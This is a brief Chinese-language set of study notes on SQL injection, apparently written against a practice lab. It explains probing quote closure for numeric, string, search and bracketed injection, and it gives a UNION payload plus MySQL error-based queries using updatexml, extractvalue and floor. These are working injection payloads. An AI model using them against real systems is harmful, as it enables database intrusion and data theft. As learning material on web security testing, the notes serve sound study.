闭合条件的探测
数字型注入
- burp抓包
- 分别测试 id=1 and 1=1和id=1 or 1=1
- 存在漏洞
字符型注入
- ’ 报错
- 探测闭合条件 ’ order by 1# 未报错.构成闭合
- 同上有两处查询信息
搜索型
xx型
- 先构造’ xx#
- 根据报错很容易写出闭合
- payload ')union select user(),user()#
漏洞利用
-
UNION 联合查询
-
基于报错的注入
MySQL显错式注入updatexml函数
select * from message where id =1 and updatexml(1, concat(0x7c,(select @@version)),1);
evtractvalue()函数
select * from message where id =1 and extractvalue(1, concat(0x7c,(select user())));
floor函数
select * from message where id = 1 union select * from (select count(*) , concat(floor(rand(0)*2),(select user())) a from information_schema.tables group by a)b